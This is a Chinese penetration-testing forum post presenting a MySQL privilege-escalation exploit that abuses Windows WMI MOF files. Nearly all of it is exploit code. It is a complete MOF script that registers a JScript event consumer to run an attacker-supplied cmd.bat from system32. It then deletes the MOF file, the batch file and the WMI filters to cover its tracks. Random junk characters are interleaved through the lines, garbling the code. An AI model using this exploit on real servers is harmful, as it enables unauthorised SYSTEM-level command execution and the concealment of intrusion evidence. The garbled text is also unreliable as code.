中国网络渗透测试联盟

标题: Mysql 提权即时无错Mof exp [打印本页]

作者: admin    时间: 2013-2-14 00:05
标题: Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。3 x) D3 F- h: L1 I' V4 W8 b/ a
需要将要运行的命令写入到bat上传到system32目录,然后执行。
9 I% e7 W4 V* ~" u0 y$ i* P7 f( l  E+ O9 Q. E+ l2 g- e) {, ~* q4 n
这个sql提权MOF需要运行 system下的文件,不能定义路径。
  \6 ~$ o9 X( Z! P- ?5 b: J需要将要运行的命令写入到bat上传到system32目录,然后执行。
" o* u4 Z( L- H
9 f+ a" p' A+ {5 o1 v! N1 O% N#pragma
* l3 M( G9 w( z+ K! S" o                        namespace("\\\\.\\root\\cimv2")
" c6 M9 b! E9 [8 `                        class
+ S. u; g: j  v+ W                        MyClass547. b& O' @! h$ }$ ?. {$ c6 B( j
                        {           [key]& w( [0 C5 r9 Y; H, C$ |: U' g
                        string0 g) X7 w8 H' ^; z
                        Name;6 s/ h" m. C+ A, C
                        };( {* i0 Y$ j6 o& A
                        class
% m9 ^4 C) I, r3 @                        ActiveScriptEventConsumer
. J6 q& X( F  o+ N# J                        : __EventConsumer {          [key]
  t0 F) s% K0 _3 M5 @0 P                        string; Z3 Q. ?' ]- {% a4 w
                        Name;           [not_null]
( M- ]( Z4 J' v! n# D: w                        string
% j$ b, V% b( s                        ScriptingEngine;           string# e) u9 e9 y: L0 F8 g
                        ScriptFileName;           [template]
( O" ~  y( e  V/ n3 r- h0 W; F) Q; d                        string
) N) M5 g2 l" y; [% o                        ScriptText;         uint32 KillTimeout;1 j' W, P1 a' x6 f3 H8 r
                        }; instance of __Win32Provider as $P {6 c5 Z" f  G. c9 A- ]* g$ x
                        Name; `+ ?( _/ I! F; f
                        =
& C/ G' [8 ]4 \$ R! V2 ]                        "ActiveScriptEventConsumer";     CLSID =- A$ X6 \# k% i/ K, @4 r
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
# C3 b  n6 Z% ]7 s. u3 Q                        PerUserInitialization. L; `$ P& W  H# \/ m5 B
                        = TRUE;6 ]% u" q2 M% |3 X3 J2 n
                        }; instance of __EventConsumerProviderRegistration {         Provider
1 A) Z1 K& E. \4 x! G( c8 O* E3 a$ `                        = $P;         ConsumerClassNames
% I( |# q& y  k4 ?( [4 f                        =+ ~. _% f) b( C
                        {"ActiveScriptEventConsumer"};
4 a( t8 O9 H& ?+ p/ C                        };! d7 f9 C" f" g( }: U
                        Instance of ActiveScriptEventConsumer
' z: y/ L0 g: D                        as $cons {         Name$ W) Y) Y) i( S9 o' U
                        =+ o1 A5 x# j: `# S% F
                        "ASEC";         ScriptingEngine# v# m# G0 i7 \' i  D2 k
                        =
, \: ?& w2 s( \" w                        "JScript";         ScriptText9 [% A( Z+ \( C4 [* {
                        =) @+ D+ U( _' r3 f  H
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };1 a0 q' h5 v0 Q3 N+ l8 s  C
                        Instance of ActiveScriptEventConsumer7 T' [$ q" x/ q1 o0 R0 p* }
                        as $cons2 {         Name
, @/ \* ~# ]9 L4 c0 l                        =
: v! t) B" a% r/ h                        "qndASEC";         ScriptingEngine
0 Y; q; }) ^( M, u7 ~0 |' |                        =5 d6 ^9 m  U2 i  O7 e
                        "JScript";         ScriptText
1 @/ }; k+ T3 b2 Q) T( M                        =
1 u: h  N7 [+ a8 `7 K7 A                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";4 c$ N7 j; n% v
                        }; instance of __EventFilter as $Filt {         Name4 W' ]2 A5 A* B0 @% z  A0 M8 F8 I
                        =- q/ L. r2 r: e6 s. S
                        "instfilt";         Query$ Q7 P1 B' Z& ]
                        =8 G3 M; m# u2 w9 a9 b3 Z
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
/ i( i4 ]* h% `2 b                        =4 S, C4 W; M% e, a. T% Y
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name+ l2 z+ B/ N7 I
                        =
+ S' n/ t! e0 ^8 o1 N1 G# E& W                        "qndfilt";         Query( f* c0 ~; p9 d  x$ H
                        =; x4 N+ Z2 G# `1 y. S2 X
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage, Q8 G, ?0 n  O2 W
                        =# Z  \2 L; d7 C* P
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
4 {" e% R4 f  E2 g% m                        = $cons;         Filter$ w: e5 G  {3 X: z- c9 h" [. D  K
                        = $Filt;
  E/ k6 O2 a( Z" \                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
2 a% W: n( B' x2 n0 L  `4 [                        = $cons2;         Filter
9 ^) t% K+ V% f" Y; A' V4 ~                        = $Filt2;
- m; N- j5 Z" v; ~                        }; instance of MyClass547
- y6 c' j  s9 X* l4 J6 Y: e                        as $MyClass {         Name3 t( X9 n$ b4 G) K% N
                        =9 `4 R3 M- T$ ~, p9 [; @. ~
                        "ClassConsumer";
6 R9 ^( p; Q' D- j5 m* Z* O# B                        };




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2